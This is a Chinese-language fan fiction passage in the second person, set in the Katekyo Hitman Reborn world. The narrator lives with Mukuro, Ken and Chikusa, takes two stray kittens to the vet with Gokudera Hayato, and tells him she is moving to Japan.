“骸骸是不是还没吃饭啊。”你的出现打断了六道骸的深思,他抬眼,恰好看到你摸上他的肚子:“骸骸总是说我,明明你自己也没有好好照顾自己啊。” “肚子完全是瘪瘪的呢。” 柔软的腹部被你覆上,六道骸不自觉绷紧肚子,瞬间,初具成形的小腹肌变得硬邦邦的,你下意识又摸了几下。 “摸够了吗?”莫名有些阴恻恻的古怪声音从你头顶传来,你抬头,恰好看到那双牢牢盯着你的漂亮异瞳,你无辜说道:“我说没摸够,骸骸会继续给我摸吗?” “你觉得呢。”六道骸无情拍下你的手,他转身离去,你看着藏在靛青色发丝下快要滴血的耳垂,你恍然大悟。 所以……原来是害羞了啊。 “饿死了饿死了本大爷要饿死了啊——”喂完和子,城岛犬也懒洋洋地往沙发一摊,他不满地招呼:“千种快做饭啦。” “犬是没手吗?” “有吃的哦。”听着两个人的互怼,你迈着小短腿哒哒哒跑到冰箱前,吃饱喝足的和子也跟前跟后地陪着你。 抬手拿出你自己买的食物,你把它们全都放进微波炉,那是你特意给犬、千种和骸骸留下的食物,本来你想和大家一起吃的,但没想到三个人一直没回来,你就先吃了点。 随着“叮”的一声,食物热好了。和子也跟着警觉地竖起尾巴,小黑毛都炸了起来。拿着热好的食物,你笑着安抚小黑猫:“没关系的和子,这是食物准备好的声音。” “咪?”听到你的声音,和子看看你,又看看你手里香喷喷的食物,和子疑惑歪了歪脑袋,它最后又看向那个会响的吓人巨物,和子好像勉强理解了点什么。 小黑猫安静了下来,毛发也柔顺地散了下来。 “犬,快来吃吧,也有你喜欢吃的零食。” 六道骸先去洗漱了,柿本千种提着塑料袋进了厨房,再怎么说,健康的蔬菜还是需要准备一份的,想起自己购买的那本科学养娃手册,柿本千种小小的脸蛋绷紧。 “千种,你不先来吃吗?” “我先炒个素菜。”小小的手抓着大大的锅铲,柿本千种的声音从厨房传来。 行吧,千种现在越来越有操心大家长的潜质了呢。 你把热好的食物全都摆放好后,这才转身看向从刚刚开始就一直没有动静的城岛犬。他姿势随意地仰躺在沙发上,手肘挡住眼睛,清浅有规律的呼吸声缓慢且绵长,你凑近观察,发现犬睡过去了。 但是,饭还是要吃的! 你轻轻推了推城岛犬:“犬,犬,吃饭了。” 本就只是浅眠,城岛犬很快醒了过来,但脑子还有些迷糊,他伸手拉住你推他的那只手,一个用力,天旋地转间,你被城岛犬抱在了怀里。 毛茸茸的脑袋蹭着你的颈窝,城岛犬不满地嘟囔:“再让我睡一会嘛,春也。” 知道你是谁,看来脑子还算清醒,你又推了推:“吃完饭再睡,笨蛋犬。” 绵长的呼吸再次传来,城岛犬没有理你,他又睡了过去。 ……好安心,熟悉的香气,城岛犬这样想着,不知不觉,他睡得更沉了。 睡意是会感染人的,温热的呼吸不断喷洒在你颈窝,痒意让你不自觉躲避,但箍在你腰间的手又让你无法轻易逃离,你苦恼地盯着眼前金灿灿的恼人发丝,也不知道这些家伙都怎么长的,力气开始变得越来越大。 不自觉打了个哈欠,你看着城岛犬眼底的青色,你轻轻捏了捏他的腮帮子。这段时间的忙碌下,犬好不容易养出来的婴儿肥又小了好多,等忙完这次,大家都得好好补补身体啊。 脑子想着各种各样的事情,慢慢地,在城岛犬平静绵长的呼吸声中,你窝在犬温暖的怀里,也跟着睡了过去。 等到六道骸和柿本千种出来的时候,看到的就是你和城岛犬双双睡得很沉的睡颜。 “两个笨蛋,也不怕这样会感冒。”菜盘放在桌子上发出清脆的声音,柿本千种拍了拍城岛犬的脑袋:“别睡了,犬,快起来。” 你是第一个醒的,懒洋洋地打了个哈欠,意识到叫人不成反被带着睡过去,你眨了下眼,然后猛地用头撞击抱住你不放的城岛犬。 “怎么了怎么了?!”清脆的响声和疼痛让城岛犬火速清醒,他下意识抱紧你,警惕地看向周围,发现骸大人和千种都看着他后,城岛犬还有茫然。 他完全忘记你中途企图叫醒他的事情了。 “快松开我啦,笨蛋犬!” “咪呜咪呜呜!!”和子也跟着叫,听语气,你总感觉和子是在骂犬。 城岛犬这才发现自己还抱着你,他连忙松开手,刚想说些什么补充,看到你走到餐桌前准备吃饭的模样,城岛犬意识到是因为今天禁锢了你才导致你一直没能离开。 莫名的,他的心底升起了一股奇怪的情绪。 甩甩头,城岛犬扔掉那些古古怪怪的情绪,转而走到你旁边……啊,骸大人和千种恰好坐在你旁边,城岛犬只好选择坐在你对面。 “春也,考虑去学校吗?” 吃饭时,你们并不讲究食不言寝不语,刚吃没多久,六道骸开口了,没被刘海遮住的红色瞳孔一眨不眨盯着你,六道骸等待着你的回答。 你瞬间想起了高中三年的奋斗史,虽然记忆淡去,但一提到学校,你的心里诡异升起古怪的感觉。 你说不上是抗拒还是同意,总之,你摇了摇头。而且,霓虹的教育考试应该都和你的国家不一样吧,你感觉没必要。 六道骸大约是看出了你的想法,他难得开口解释:“不是让你获得成绩,这只是普通生活的一种选择。” 他之前就说过,他隐隐察觉到了某种危险的预感。 六道骸不觉得自己是个好人,如果未来他会堕入地狱,他会毫不犹豫带着你共同奔赴。他也相信,你们都是一样的,就像犬和千种,你也绝不会选择和他分开。 就像他不会向你隐瞒他们沾满血腥。 六道骸从不是什么干净的保护主义者。他要的,是你接纳他的全部。过去、现在、未来。肮脏、仇恨、血腥。你们早就如同藤蔓蛛网,扭曲又紧密地缠绕在了一起,谁也无法真正抛下谁。 但是,偶尔,六道骸也会有无法道明的私心。 六道骸本人把这归咎于是自己年龄尚小的缘故,这里他完全忽略了自己是经历过六道轮回的六道骸,他只是安静看着你。 “我调查过了,所有学校中,日本的并盛中学安全指数出乎意料的高。” “所以,我们是要搬家去并盛吗?” 只要大家都要一起的话,你并不觉得这一切难以接受。 “那骸骸、犬和千种也会一起去学校吗?” “那是肯定的啊。”城岛犬接话:“我们怎么可能会放心春也一个人啊。” “不过,我们会经常旷课。”柿本千种轻易就能看穿他们的未来,毕竟,他们可不是那些活在象牙塔的学生,总之……柿本千种认真又专注地看向你:“不要担心,不会让春也一个人的。” 你相信了他们的话,因为骸骸、犬和千种从来没有骗过你。 呀,糟糕,忘记和骸骸他们说你认识了一个新朋友的事情了。 第二天,你苦恼地在床上滚来滚去。犬、千种和骸骸在你不知道的时候起床离开了,时间的流逝下,他们三个人残留的余温也都消失得一干二净,你滚着被子从左滚到右,又从右滚到左。 不过也不是什么大事,你想,毕竟之后还有时间,你可以慢慢和骸骸他们讲。 刺眼的阳光被厚实的窗帘挡下,你看了眼时间,快正午了,但房间还是昏暗一片,你险些以为自己其实起得很早。 拿起千种习惯性为你搭配好的衣服,你一一套好,裹上一层鲜艳的红色围巾,你对着镜子照了照自己现在的模样,你的头发因为你刚刚肆意的滚动变得更加乱了,甚至还有的地方打起了结。 你费了很大力气才把你乱糟糟的头发打理干净。 “咪呜!”小小的猫叫声从门外传来,伴着爪子抓门的声音,拉开窗帘后,你打开了房门。 “咪嗷~”和子娇娇扑到你的裤腿上,尖锐的爪子抓着你的裤子缓慢往上爬,它想被你再次拥抱。 “和子是想我了吗?” “咪嗷!” 和子是只聪明的小黑猫,它明白和子是它的名字,和子乖巧应声。 你抱起和子,它立马在你怀里找了个好位置,然后懒洋洋瘫成一团。本来你昨晚想把和子放进房间睡觉,但犬和千种都阻止了你。 ——和子还没打针、和子还没洗澡、和子还没驱虫…… 介于和子现在还小,洗澡得放放,但是打针什么的都可以做起来了,不过你可以买点猫咪专用免洗套装替和子打理一下,这样,和子就能和你们一起睡了。 “今天的行程很简单,带和子去打针驱虫!” “咪嗷!!” 和子还不知道要发生什么事,它竖起耳朵认真听着你兴奋的语气,和子也跟着咪嗷咪嗷的叫。 冬天还没有完全过去,外边依旧寒冷,怕小小的和子冻着,你把它藏在了你厚实的衣服里。戴着墨镜和帽子,围巾裹在鼻子以下,你出门了。 狱寺隼人也不是每天都会来打工,这是一份兼职,本来按照今天的计划,他没有必要再来这里的便利店工作,但不知出于什么原因,他还是来了。 等到中午,狱寺隼人结束工作,他坐在长椅上,头顶太阳晃得他心烦,咬着廉价的饭团,狱寺隼人忽然觉得自己挺莫名其妙的。 “咪~” 瘦弱的流浪猫嗅到了饭团的香味,它小心翼翼从树根后探出脑袋,胆怯的流浪猫渴望地望着人类手中的那个饭团。 “咕噜咕噜~”空荡荡的肚子在寂静人少的地方发出响声,狱寺隼人听力很优秀,他扭过头,小猫被他突然的动作吓到,连忙藏入大树后。 狱寺隼人拧眉,继续吃起饭团。 等待了一会,见人类没有像以往来打它,饥肠辘辘的笨蛋小猫还是忍不住探出一个小脑袋。 “咪!” 人!人!人突然凑了过来! “啧。” 狱寺隼人看着小猫瑟缩的模样,他没有选择靠近。 狱寺隼人咬下一口自己的饭团放在小猫面前,小猫犹犹豫豫,但肚子叫得迫切,没有忍住,小猫颤颤巍巍地走上前,干燥的鼻子在小小的饭团前嗅嗅嗅,小猫试探性地伸出舌头舔了舔,小心翼翼咬了一口,确认能吃后,饿极了的小猫连忙大口大口吃了起来。 “咕噜咕噜~”边吃,嘴里边冒出小声的呼噜声。 咬下的一点点饭团根本缓解不了猫的饥饿,猫再次把渴望的目光投向人。 “别看了,我中午的食物也是这个。”狱寺隼人恶声恶气地看着得寸进尺的猫,他又恶狠狠咬下一口咽下。 小猫只是睁着水汪汪的眼睛看着他,狱寺隼人“啧”了一声,还是把自己手上的饭团全都给了猫。看着猫消瘦的体型 ,犹豫了下,狱寺隼人还是跑去便利店又买了三个大号饭团。 “今天的开支超了。” 狱寺隼人不爽,他的绝大多数钱都是用来买炸药、烟和打火机的,毕竟炸药又做不到无风自燃,剩下的一小部分钱作为他的日常开销——一些或固定或不固定兼职赚来的钱就是他的日常资金流的来源,至于黑手党争斗得来的钱,则用来买炸药这类大型开销。 狱寺隼人一直都很好地践行这一点,只除了,偶尔路上遇到拦住的猫后,狱寺隼人难得会把自己的午饭贡献出去。 “这算什么,黑手党的日行一善?”狱寺隼人忍不住自嘲。 “咪呜嗷~”在狱寺隼人的投喂下,猫吃到了它的第一顿饱饭,它亲昵地蹭了蹭狱寺隼人垂下的手指,狱寺隼人一愣,手指下意识动了起来,等到狱寺隼人回神,他已经把猫摸得摊开了小肚子。 “原来狱寺也喜欢猫啊。”忽然响起的声音激的狱寺隼人一个激灵,熟悉的气味和声音让他没有应激般地拿出炸药,狱寺隼人炸毛地看向你:“你是白痴吗,不要随便出现在别人背后啊!” 狱寺隼人的反应,和昨天炸毛的和子一样呢。 “我才不喜欢猫。”狱寺隼人反驳你,他最讨厌猫了。 你的目光落在狱寺隼人还摸着小猫的手上,你抬了抬下巴:“说这话的时候,好歹先收敛一下自己的动作吧。” 像是被你的视线烫伤一般,狱寺隼人欲盖弥彰地收回手:“你怎么来了。” “我来看看你呀。”轻快的声音像柳絮落入狱寺隼人的耳里,他立马站了起来,耳根都红了起来:“白痴女人,你在说什么啊!” 你困惑不解,但也没理会新朋友偶尔的抽风,尽管只认识一天,但你已经发现了,狱寺隼人就不是个会说好坏的人。 你以前都没什么同龄朋友,来到异世界,虽然过程艰难,但你也没想到自己竟然还能交上正常的朋友,总体来说,你还是满意你的新朋友的,所以你会习惯性忽略狱寺隼人羞耻度满满的话语。 你一直以为只有日本人才会这样中二的说话呢,没想到意大利人也会啊。 “这只猫的状态不是很好呢。”虽然你不是专业的兽医,但流浪小猫的状态明显太差了,“你很喜欢它吗?” 偏过头,你看向狱寺隼人。 “谁喜欢……”狱寺隼人话还没说完,你又接着说:“不救治的话,估计活不了多久。” 怀里探出的猫猫头好奇看过去,是同类! “我正好也要带和子去兽医店呢,要一起吗?” 狱寺隼人烦躁地抓了下头发,他学着猫妈妈拎起小猫的后脖颈,猫也一声不吭,乖乖任他拎着。 “咪呜~”猫小声叫了下,它想起了猫的妈妈。 “走吧。”你本来也只是确认一下狱寺隼人对猫的态度,毕竟这是他投喂的猫,也算是半个主人了。 走在路上,你忽然想起了什么。 差点忘了,你还要和狱寺隼人说一下你要搬家的事呢。斯帕纳当时就没来得及说,也不知道他有没有忘记你。 第48章 很少会有人喜欢医院, 宠物也是如此。 大约是察觉到某种氛围,愈是靠近宠物店,和子扒拉着你衣领的爪子愈是用力, 毛茸茸的小脑袋不安地陷入你的围巾, 和子明显有些焦躁不安, 倒是依偎在狱寺隼人怀里的小猫还有些搞不清楚状态, 小猫脸胆怯又好奇地盯着狱寺隼人,时不时还会被路边车辆的声音吓得埋入狱寺隼人衣服里。 很快, 兽医店到了。 “猫的名字?” “和子。” “性别。” “男。” …… 穿白大褂的员工一边询问一边在电脑上登记猫咪的个人信息, 刚刚看诊完上个宠物疾病的医生已经从里室走了出来,看到你和狱寺隼人怀里的猫, 他洗干净手后自然上前。 “需要看什么?” “体检,做个全身检查。”看到陌生人接近,和子抱你抱得更紧了,连爪子都无意识露了出来,你安抚地摸了摸小猫头, “这只是刚领回家的猫,年龄还不清楚, 估计一岁不到, 两只都是流浪猫。” 医生显然很有经验,简单一番试探,基本摸清两只猫的性格,大手无情拎住无助小猫的后脖颈,说清楚检查事项和金额后,你点了点头确认要做。 “你们两个是一起的?”早就长成成熟大人的医生注意到狱寺隼人没有立刻吭声,目光短暂在他身上停留一秒后又很快收回,他再次看向你。 “嗯。”两只猫都被医生拎走, 你自然拉着狱寺隼人的袖子跟着医生走进去。 狱寺隼人愣了一秒没有阻止你,他微微拧眉,本就凶恶的脸更加吓人,但还是乖乖跟在了你身后。 比起会大胆哈人伸爪子的和子,小猫就胆小多了。意识到落入了陌生的环境,小猫努力蜷缩着自己的身体试图获得安全感,瘦小的猫脸认真哈气表现自己的可怕,飞机耳却暴露了小猫内心的不安和胆怯。 “这猫性格不错,都这样了也没伸爪子。”作为流浪猫的话,性子过于好了。 狱寺隼人盯着满脸写着害怕的小猫,发现小猫正可怜兮兮地朝自己求助,抿了抿唇,狱寺隼人愈发严肃地盯着医生。 明明是个成年人,但在狱寺隼人的目光下,医生莫名不敢喘大气。最终,顶着无名压力,医生选择专注眼前可爱的小猫。 “放心,我们是专业的。” 在“猫爸爸”可怕的注视下,医生的效率变得更高了。 你注意到了医生的不自在,手指拉了拉狱寺隼人,察觉到他掌心的汗意,你忽然明白了什么。 原来狱寺隼人也不像表现出来的那么淡定啊。 盯着狱寺隼人凶巴巴地表情,像是知道了什么秘密,你弯了弯眼睛。 “看我做什么?!”对视线敏感的狱寺隼人看过去才发现是你,他凶巴巴地回视。 “你要养它吗?”你不是喜欢强迫别人的人,如果狱寺隼人不想养的话,你觉得你完全有能力再养一只小猫。 狱寺隼人没有及时回答你,碧绿色的眼睛倒影着小猫信任的眼睛,他又看向你的那只和子,最终,他半垂着眼睛,“我不喜欢猫。” 才怪,你分明看到那双漂亮的眼眸始终倒映着小猫小小的影子。你不算笨,大约猜测到什么,你看了小猫好一会,你忽然开口:“我们可以一起养它。” 第49章 你也说不清是为什么, 大约是看到那双清亮的碧绿色眸子染上了点点暗沉,一个冲动,话已经说出口。 狱寺隼人立马反应很大地跳了起来:“谁要和你这个蠢女人一起啊!” 等到你回神, 狱寺隼人已经离你十米开外了, 你无辜歪头, 脚尖微转, 你缓缓朝着狱寺隼人走去,鞋子踩在地面发出短促的轻响, 落在狱寺隼人耳朵, 却好似某种危险逼近。 狱寺隼人不明所以的绷紧神经,手指暗暗攥紧, 过于用力,连指尖都开始泛白。他不断后退,直到背部靠上白墙无路而退,再想从别处逃离时,你已经近在眼前。 眼珠转了转, 你看着狱寺隼人声厉色茬的模样,视线落在他泛红的耳尖, 你眯起眼睛。狱寺隼人大概不知道, 因为他肤色过白的原因,他脸上有一丝红晕都格外明显。 故意又凑近了点,你如愿看到狱寺隼人连脖子都红了起来。 “那好吧。”眼见狱寺隼人临近炸毛的边缘,你慢吞吞地远离几步,然后漫不经心拖长语调,“既然如此,那小猫就是我一个人的小猫了。” “该给它取什么名字好呢?” 见你真的沉浸在拥有小猫的快乐里,狱寺隼人又不说话了, 热意还未完全散尽,某种野兽的直觉告诉他,你的存在很危险。 狱寺隼人从不惧怕未知的危险,身为一个黑手党,如果连面对死亡的勇气都没有,他的名字早就泯灭于众人之中了。但是,这次好像不一样。 狱寺隼人分不清两者的区别,他烦躁地抓了下头发,简单思考一秒,狱寺隼人觉得这样不行。 “小黑叫和子,小猫可以叫合子。”余光注意到狱寺隼人的表情,你才不管他心里到底在纠结什么,既然狱寺隼人没有意愿养猫,你很愿意接手小猫。更何况…… 把狱寺隼人从你的视线里撇开,你观察起和子和小猫,这两个小家伙相处得意外不错。 检查完后,医生暂时先离开了这里。 小猫还趴在原位瑟瑟发抖不敢移动,和子已经勇敢地迈出了冒险的第一步,它抖了抖凌乱的猫毛,迈着优雅的猫步,和子注意到了小猫的表现,迈出的毛茸爪子伸出又放下,不大的猫脑袋歪了歪,像是在思考,最终,和子放弃了它的冒险,它选择来到小猫身旁,然后安抚地舔着小猫毛。 “咪呜咪呜~”和子轻声和小猫说着话,慢慢地,小猫也从胆怯的情绪中缓了过来。被两只猫咪贴贴的画面可爱到,你走过去忍不住摸了摸它们的脑袋。 “和子是不是也很喜欢小猫?” “咪呜!”像是听懂一般,和子的毛茸小脑袋蹭了蹭你的手背后,又蹭了蹭小猫,然后,和子睁着那双漂亮的金瞳安静注视着你。 狱寺隼人也在旁边看你,碧绿色的眼睛倒映着你的影子,靠着墙,他双手抱胸,光影在他身上交织,狱寺隼人盯着你亲近猫咪的模样。 “唔,和子不讨厌小猫真是太好了。”你举起乖巧可爱的和子,蹭了好一会和子,你将注意力放到了小猫身上,空出的手指放在小猫鼻子前,小猫看看和子又看看你,你耐心等待片刻,小猫鼻尖耸动,轻轻嗅了嗅你的气味,小猫颤颤巍巍地朝你叫了声。 “咪~”颤抖的小奶音可爱得你差点也举起小猫蹭蹭蹭,好在残存的理智告诉你小猫怕生,你只是克制地用手指摸了摸小猫脑袋。 “其实叫主子也不错,全名猫主子。”想到以后找猫就是满大街叫主子主子,犹豫了下,你暂时搁置了这个趣味满满的名字。 “给猫取名字前,你是不是要先问问他主人的意见。”一只手越过你拎起小猫后脖颈,苍白瘦弱的手腕从长袖中露出,你看过去,狱寺隼人恰好也对视上了你的眼睛。 看到狱寺隼人,小猫的态度显然黏糊多了。 你疑惑看向狱寺隼人,显然,见你真的没有想要搭理他的想法,狱寺隼人忍不住了。 “合子这名字也难听了。”狱寺隼人嫌弃脸。 “你不是不养吗?” “我什么时候说过这句话。” 你眯起眼睛看小猫对着狱寺隼人撒娇,后者脸上写满了嫌弃,但身体却很诚实地托住了小猫。 “那就叫主子吧。”你凑近建议,眼见狱寺隼人又要反驳,你有理有据说出了自己的观点:“你看,小猫现在是不是很胆小。” 狱寺隼人看你,“那又怎么了?” “名字是最短的咒。” “小猫胆小,就可以给它取一个霸气的名字,这样小猫说不定会养成嚣张的性格呢。” “主子这个词就很适合啊,猫主子,超——级霸气!” 你慢条斯理地说话,狱寺隼人的思路不自觉被你带着走,他隐隐觉得有哪里不对,但你说的又确实有点道理。 就这样,小猫的名字定下了。 狱寺隼人抱着猫主子,他看你弯起眼睛,显然你是在为自己接受了这个名字而开心。看了一会,狱寺隼人忽然烦躁地移开目光。 比起小猫,你倒是更像那个猫主子。 第50章 两只小猫的检查费了好一会时间, 但万幸,小猫们并没有疾病,唯一有点问题的猫主子也只是查出来营养不良。 流浪猫多多少少都会有点这方面的问题, 日后好好调养就行。你看向狱寺隼人, 注意到他放松的眉眼, 显然, 狱寺隼人和你的想法一样。 给小猫们打疫苗的时候,狱寺隼人留在室内安抚小猫, 你还在外面挑选猫粮。虽然是兽医店, 但里面并不缺少猫粮和猫玩具。知道你今天会出门,昨天犬和千种带着你做足了攻略。 想着幼猫的食量, 你挑选了几袋猫粮和适合幼猫吃的小零食,目光瞥到猫玩具,思考一会,你的手再次伸出,等到猫猫们全都打完针后, 你已经买完猫口粮并付好款了。 “走吧。”看到狱寺隼人走出来,你上前从他怀里接过两只猫, 狱寺隼人一脸懵地看你动作。 “这些是什么?”狱寺隼人看到了地上的大包小包, 他还看到了付款单子,狱寺隼人眉毛都皱起来了,“你结过账了?!” “都是给猫买的零食和玩具,还有口粮。”你没有在意狱寺隼人的纠结,打完针的和子和猫主子格外娇气,像是受了天大的委屈,它们不停在你怀里蹭蹭,嘴里还不断叭叭叭地朝你告状。 你假装听懂了它们的喵言喵语, 时不时还震惊地附和它们。有了你的撑腰,两只猫明显神气嚣张起来。 “快点拎着这些东西走啦,和子和猫主子明显不想呆在这里了。”你催促着似乎还在纠结的狱寺隼人,“如果在意是我先结账的话,等会的晚饭由你负责。” 狱寺隼人下意识觉得你的方案不错,手里拎着大包小包,等到走出兽医店,冷风一吹,刚刚还有些发懵的脑子瞬间回神,狱寺隼人拧眉凶狠道:“哈?我什么时候说要和你一起吃饭了?!!” 不,时间倒回一下,他为什么要选择帮你拎东西? 狱寺隼人觉得自己会莫名其妙听从你的指令才是最奇怪的。该不会你其实是什么擅长精神类控制的家伙吧?怀疑的目光仔仔细细认认真真扫视了你一圈又一圈,实在没能在你身上发现什么危险性,狱寺隼人的眉头不由皱得更紧了。 “是我想要和你一起吃饭啦。”肚子已经开始饿得咕咕叫了,你完全没有精力再搭理奇奇怪怪的狱寺隼人,只是依靠本能回答,手指拉着狱寺隼人的衣摆,你下意识往骸骸上次带你去过的餐厅方向走。 “你这蠢女人再说什么啊!!”你清软的嗓音像羽毛一样扫过他的耳朵,尾音上挑,像是在和他撒娇,狱寺隼人忍不住拔高嗓音。 居然这么和异性说话,简直不知羞耻!! 小小的狱寺隼人从未受过这种暴击,脸蛋彻底爆红,大脑也已超负荷,狱寺隼人的身体不受控制地跟着你走。 才交换了姓名没多久,你就敢这么和他撒娇,狱寺隼人简直不敢想象你之后还会对他做出什么行为!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 你出门的时候不算早, 忙完小猫的事又吃了碗饭后,天色彻底暗了下来。 “明天会是个大晴天呢。” 你抬起头,橙黄的路灯没有遮挡住满天星辰的光辉, 手指有一下没一下勾缠着和子, 在你轻柔的抚摸下, 本就困倦的和子愈发昏昏欲睡, 你慢悠悠走在前面,渐渐地, 狱寺隼人和你的脚步声不知何时重叠在一起, “今天星星好多,一般来说, 夜晚繁星密布,第二天就会是一个晴天。” 狱寺隼人跟在你身边,猫主子早在狱寺隼人不知道的情况下和和子建议了深厚的情谊,现在正乖乖趴在你怀里和和子一起打哈欠,幽绿的视线时不时转向你, 听到你的话,狱寺隼人顺着你的动作抬起头。 “星星多的天空云就少, 空气中的水汽也少, 无法形成降雨的条件。”狱寺隼人严谨地补充。你扭头看过去,恰好看到狱寺隼人认真观察星空的模样,似乎是察觉到了你的视线,狱寺隼人若有所感地偏过脑袋。 明亮的灯光落入他的眼睛,宛若星辰坠入其中,漂亮的像是绿宝石一样的眼睛里倒映着你的身影,你情不自禁上前迈步。 无论何时,你都觉得, 狱寺隼人的眼睛美得惊人,狠戾残酷,又透着让你无法招架的、在烈火中不断灼灼燃烧的生命力。 挣扎、扭曲,又在沉沦中不断迷茫向上。 “真美。”你的手不自觉覆上狱寺隼人的眼睛,人体最脆弱的部位被你触碰,狱寺隼人下意识闭上眼,隔着薄薄的眼皮,你触碰到了他的眼球。 脆弱的、不安的、不断滚动的绿色眼球,掌握在你指腹下,你的心里莫名升起一股难以言喻的情绪,你发自内腑地赞美:“狱寺的眼睛,好漂亮。” “好喜欢。” 六道骸的眼睛也很漂亮,但是不一样,狱寺隼人本人的情绪性格为他的眼睛赋予了独一份的美丽,那是一种更加狂暴的感觉。 你直白且真诚的赞美让狱寺隼人终于回过神,两只手都拎着东西,狱寺隼人无法伸手甩开你,他只好后退以躲避你突然的亲近举动。 “蠢女人!!不要随便碰我!!”像炸毛的猫,狱寺隼人后退一步还嫌不够,又连连退了好几步,直到你们之间隔了一个路灯的距离,狱寺隼人才堪堪停下。 狱寺隼人不明白,刚刚你的话题还在天气上面,怎么下一秒就跳转到了他的眼睛上。甚至,每次你都相当不见外地靠近他。 脸和耳朵都开始发热,明明春天还没到,狱寺隼人却好似感觉到了夏天的味道。 而且…… 闭上眼前,狱寺隼人看到了你的表情,纯粹的喜爱下,似乎还涌动着某种晦涩的情绪,现在的狱寺隼人还无法用言语形容你当时眼里究竟是怎么的情绪,但毫无意外,触及到你眼底无意流露出来的真实后,狱寺隼人的心跳真切地加速了一秒。 “喜欢什么的……根本就不是能够轻易说出口的话啊八嘎!!” 憋足气,从未在你眼前暴露不良脏话的狱寺隼人第一次爆了粗口。 自小受过良好教育,狱寺隼人早就有了性别意识,尽管因为流浪染上不良的习俗,但那些自小浸染的绅士教养,狱寺隼人倒也没都忘个干净,只是对于现在他来说,这种浮于表面的东西完全没用罢了。 更何况,他已经下定决心要舍弃…… 想起过往的事情,狱寺隼人的眼睛暗了暗,没等他再陷入糟糕的回忆,你又说话了:“因为我说的都是真的啊。” 你慢吞吞朝着狱寺隼人靠近,你自认自己毫无威胁,但狱寺隼人却像是看到洪水猛兽一般疯狂闪躲,你感觉自己就像是猫抓老鼠里面的那只猫,可是按照力量划分,狱寺隼人才该是那只让所有人闻风丧胆的恶猫。 不过,狱寺隼人始终让自己保持在你视线范围之内的距离。 你歪了歪脑袋,“因为狱寺的眼睛真的很漂亮,像珍贵的宝石。” “喜欢也是真的。” “无论是狱寺还是眼睛。” 和骸骸他们待得久了,你完全不吝啬表达自己的爱意。喜欢如果不大声说出来的话,有人会寂寞的。你只是想让大家更加更加地明白并接受你的爱。 你喜欢的人,自然也该知道你的喜欢有多深。你的脑海里不存在会有人不接受你的爱这一选项。 这下,狱寺隼人脑子里什么杂乱的想法都没有了。袋子落在地面,他单手捂着脸,银白色的发丝下藏着红到滴血的耳尖,像雪地里盛开的红梅,你恍若能看到狱寺隼人脑袋冒出的热腾腾的烟雾。 你终于追上了狱寺隼人,你低头看着蹲在地上久久没有说话的狱寺隼人,你也跟着蹲在旁边,好奇狱寺隼人现在的反应,你悄悄压低身子,扭动脑袋,你试图越过狱寺隼人手掌的缝隙观察他的反应。 “啪。”温凉的小手无情推开你,狱寺隼人闷闷的声音从他掌心传来,“你是笨蛋吗?!” 你了然:“狱寺害羞了。” “哈?我才没有!!”狱寺隼人猛然掀开自己的手掌,水润的碧绿眼眸直直看进你的眼底,脸颊因为刚刚捂脸的动作而泛出明显的红晕,狱寺隼人炸毛:“你这个超级无敌大白痴!!” “谁会因为这种事情害羞啊!!” “哦呀~是吗?”简单的两个语气词,瞬间让临近爆炸边缘的狱寺隼人爆发了。 “你不要说话!”狱寺隼人第一次向你靠近,他伸出手捂住你的嘴巴,拉近的距离一下让你看清他泛着水光的眼睛。眼尾还带着点红,也不知是羞的还是气的,但是更好看了,你想。 见你终于安静下来,狱寺隼人刚要松口气,然后就看到你直白注视着他的眼睛。 你的眼睛比你的人沉默多了,像幽深的寒潭,可狱寺隼人丝毫没有感到半分寒冷,相反,他觉得自己获得了前所未有的安宁。狱寺隼人忽的安静下来,他看着你的眼睛,慢慢的,他在里面看到自己清晰的倒影。 太蠢了,狱寺隼人想,那个狼狈无措、节节败退的白痴居然是他自己。 两双眼睛倒映着彼此的影子,狱寺隼人最先忍不住移开视线。 “狱寺。” “干嘛!” “之后我就不会来找你了。” “我才不想你来找我!!” “我是认真的。”你看出狱寺以为你又在调侃他,“我要搬家了。” 拿袋子的手顿了下,狱寺隼人的心情忽然变得十分恶劣:“你搬家就搬家,跟我有什么关系。” 刚刚还很和谐的氛围,刹那,在你语落的瞬间,如夏日轻盈脆弱的泡沫,碎了。 “好吧,我以为我们已经是朋友了呢。”你有些失落地低头。 “别自作多情了。”狱寺隼人冷着脸,他站起身居高临下地看你,果然,他就知道,不过是和他会随手喂养不听话的猫一样,你也是这样。 抿紧嘴,刚刚的好心情一扫而空,狱寺隼人头也不回地往前走。 不过就是以后又会变回一个人罢了,他早就习惯了。 你不解地看狱寺隼人一个人库库埋头往前走,空旷的街道上,小小的狱寺隼人拎着大大的袋子,莫名的,你从他的背影里看出了几分生气。 你追了上去。 “搬家是因为这里开始变得不安全了,我需要换一个更加安全的地方,我想要和狱寺好好道别,所以才会把这件事告诉你。”省略掉不能说的,你简单解释了下自己搬家的原因。 “而且,就算我搬家了,我们也可以互相联系呀。” 小嘴一顿叭叭叭,你成功让狱寺隼人放慢脚步。 “我才不会在意呢。”狱寺隼人后知后觉意识到自己反应过大,见你一直快步追着自己,狱寺隼人下意识放慢脚步,但是…… 狱寺隼人扭头看向你,你眼里的真情不作假,狱寺隼人忽然开口问道:“你为什么要在刚才说你搬家的事?” “唔,因为我觉得刚刚的气氛很适合说这个话啊。”你笑意盈盈地看向狱寺隼人,像是不理解他为什么会问这个问题,但很快,你的思路就跑到了别的方面。 “不出意外的话,我应该会去日本。狱寺这么强大,以后绝对会成为超级厉害的大人物的!到时候狱寺一定要去找我啊,我一定会一眼就认出狱寺的!” “你这么确定?” “当然!” “日本那块地方,我们能不能相遇都不一定。”狱寺隼人察觉到了什么,他拧眉看你。 “所以,我说了啊。”你理所当然地回答:“狱寺一定要成为超级厉害的大人物啊,到时候无论在哪里,我都可以得到你的消息。” “哼,我可不一定会记得你。” “不可以哦。”你笑眯眯地站在狱寺隼人面前,像是在看不听话的小动物,你落下的小小阴影随着你的动作慢条斯理吞没掉了狱寺隼人全部的影子,直到他彻底笼罩在你的阴影下,“狱寺绝对绝对不能忘记我。” 直到现在,狱寺隼人终于明白了,一直以来在你身上察觉到的违和感是什么。 傲慢的、理所当然的、危险的你,慢慢朝他显露了一部分真实的你,令他感到毛骨悚然的你…… 你任性地在那样和谐的氛围里残忍宣布你即将离开的消息,又傲慢冷酷地不允许他将你忘记,自顾自安排着他未来的道路……糟糕的、这样糟糕的你,真是、莫名耀眼的让人移不开眼。 出乎意外,狱寺隼人的心里并没有产生不满的情绪,在你完全的注视下,他甚至感觉身体隐隐战栗起来。 半晌,狱寺隼人忽然拽住了你的手。 